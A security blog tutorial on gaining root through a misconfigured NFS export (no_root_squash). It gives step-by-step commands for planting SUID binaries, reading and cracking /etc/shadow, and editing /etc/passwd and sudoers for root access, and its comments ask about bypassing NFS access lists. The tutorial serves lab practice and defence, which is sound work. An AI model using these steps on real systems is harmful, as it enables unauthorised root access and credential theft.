Categories

Archives

Privilege Escalation

Linux Privilege Escalation using Misconfigured NFS

After solving several OSCP Challenges we decided to write an article on the various methods used for Linux privilege escalation, which can be helpful for our readers in their penetration testing projects. In this article, we will learn how to exploit a misconfigured NFS share to gain root access to a remote host machine.

Table of Contents

Introduction of NFS

Misconfigured NFS Lab setup

Scanning NFS shares

  • Nmap script
  • showmount

Exploiting NFS server for Privilege Escalation via:

Bash file

C program file

Nano/vi

  • Obtain a shadow file
  • Obtain passwd file
  • Obtain sudoers file

Let’s Start!!

Network File System (NFS): Network File System permits a user on a client machine to mount the shared files or directories over a network. NFS uses Remote Procedure Calls (RPC) to route requests between clients and servers. Although NFS uses TCP/UDP port 2049 for sharing any files/directories over a network.

Misconfigured NFS Lab setup

Basically, there are three core configuration files (/etc/exports, /etc/hosts.allow, and /etc/hosts.deny) you will need to configure to set up an NFS server. But to configure weak NFS server we will look only /etc/export file.

To install NFS service; execute below command in your terminal and open /etc/export file for configuration.

sudo apt-get update
sudo apt install nfs-kernel-server
nano /etc/exports

The /etc/exports file holds a record for each directory that you expect to share within a network machine. Each record describes how one directory or file is shared. 

Apply basic syntax for configuration:

 Directory         Host-IP(Option-list)

 There are various options will define which type of Privilege that machine will have over shared directory.

  • rw: Permit clients to read as well as write access to the shared directory.
  • ro: Permit clients to Read-only access to shared directory..
  • root_squash: This option Prevents file request made by user root on the client machine because NFS shares change the root user to the nfsnobody user, which is an unprivileged user account.
  • no_root_squash: This option basically gives authority to the root user on the client to access files on the NFS server as root. And this can lead to serious security implication.
  • async: It will speed up transfers but can cause data corruption as NFS server doesn’t wait for the complete write operation to be finished on the stable storage, before replying to the client.
  • sync:   The sync option does the inverse of async option where the NFS server will reply to the client only after the data is finally written to the stable storage.

Hopefully, it might be clear to you, how to configure the /etc/export file by using a particular option. An NFS system is considered weak or Misconfigured when following entry/record is edit into it for sharing any directory.

/home       *(rw,no_root_squash)

Above entry shows that we have shared /home directory and allowed the root user on the client to access files to read/ write operation and * sign denotes connection from any Host machine. After then restart the service with help of the following command.

sudo /etc/init.d/nfs-kernel-server restart

Scanning NFS shares

Nmap

You can take help of Nmap script to scan NFS service in target network because it reveals the name of share directory of the target’s system if port 2049 is opened.

nmap -sV --script=nfs-showmount 192.168.1.102

Basically nmap exports showmount -e command to identify the shared directory and here we can clearly observe /home * is shared directory for everyone in the network.

Showmount

The same thing can be done manually by using showmount command but for that install the nfs-common package on your local machine with help of the following command.

apt-get install nfs-common
showmount -e 192.168.1.102

Exploiting NFS server for Privilege Escalation

Bash file

Now execute below command on your local machine to exploit NFS server for root privilege.

mkdir /tmp/raj
mount -t nfs 192.168.1.102:/home /tmp/raj
cp /bin/bash .
chmod +s bash
ls -la bash

Above command will create a new folder raj inside /tmp and mount shared directory /home inside /tmp/raj. Then upload a local exploit to gain root by copying bin/bash and set suid permission.

 

Use df -h command to get a summary of the amount of free disk space on each mounted disk.

First, you need to compromise the target system and then move to the privilege escalation phase. Suppose you have successfully login into victim’s machine through ssh. Now we know that /home is shared directory, therefore, move inside it and follow below steps to get root access of victim’s machine.

cd /home
ls
./bash -p
id
whoami

So, it was the first method to pwn the root access with help of bin/bash if NFS system is configured weak. 

C Program

Similarly, we can use C language program file for root privilege escalation. We have generated a C-Program file and copied it into /tmp/raj folder. Since it is c program file therefore first we need to compile it and then set suid permission as done above.

cp asroot.c /tmp/raj
cd /tmp/raj
gcc asroot.c -o shell
chmod +s shell

Now repeat the above process and run shell file to obtained root access.

cd /home
ls
./shell
id
whoami

 So, it was the second method to pwn the root access with help of bin/bash via c-program if NFS system is misconfigured. 

Nano/Vi

Nano and vi editor both are most dangerous applications that can lead to privilege escalation if share directly or indirectly. In our case, it not shared directly but still, we can use any application for exploiting root access.

Follow the below steps:

cp /bin/nano .
chmod 4777 nano
ls -la nano

Since we have set suid permission to nano therefore after compromising target’s machine at least once we can escalate root privilege through various techniques.

cd /home
ls
./nano -p /etc/shadow

When you will execute the above command it will open the shadow file, from where you can copy the hash password of any user.

Here I have copied hash password of the user: raj in a text file and saved as shadow then use john the ripper to crack that hash password.

Awesome!!! It tells raj having password 123. Now either you can login as raj and verify its privilege or follow the next step.

Passwd file

Now we know the password of raj user but we are not sure that raj has root privilege or not, therefore, we can add raj into the root group by editing etc/passwd file.

Open the passwd file with help of nano and make the following changes

./nano -p etc/passwd
raj:x:0:0:,,,:/home/raj:/bin/bash

Now use su command to switch user and enter the password found for raj.

su raj
id
whoami

Great!!! This was another way to get root access to the target machine.

Sudoers file

We can also escalate root privilege by editing the sudoers file where we can assign ALL privilege to our non-root user (ignite).

Open the sudoers file with help of nano and make the following changes

./nano -p /etc/sudoers
ignite ALL=(ALL:ALL) NOPASSWD: ALL

Now use sudo bash command to access root terminal and get root privilege

sudo bash
id
whoami

Conclusion: Thus we saw the various approach to escalated root privilege if port 2049 is open for NFS services and server is poorly configured. For your practice, you can play with ORCUS which is a vulnerable lab of vulnhub and read the article from here.

Author: AArti Singh is a Researcher and Technical Writer at Hacking Articles an Information Security Consultant Social Media Lover and Gadgets. Contact here

4 thoughts on “Linux Privilege Escalation using Misconfigured NFS

  1. You can add the ssh key copy to the victim in the authorized_keys 😀
    Your site is an awesome ressource for noob like us!!

  2. sir i am getting error when i am ./nano -p /etc/passwd and ./nano -p /etc/sudoers

    “./nano: error while loading shared libraries: libtinfo.so.6: cannot open shared object file: No such file or directory”

    what version of your kali linux is running

  3. with the nmap utility can you tell me how it can hack into NFS exports using RPC port 111 and use SecMount feature to mount exports to hosts that are not in the access list of NFS exports

Comments are closed.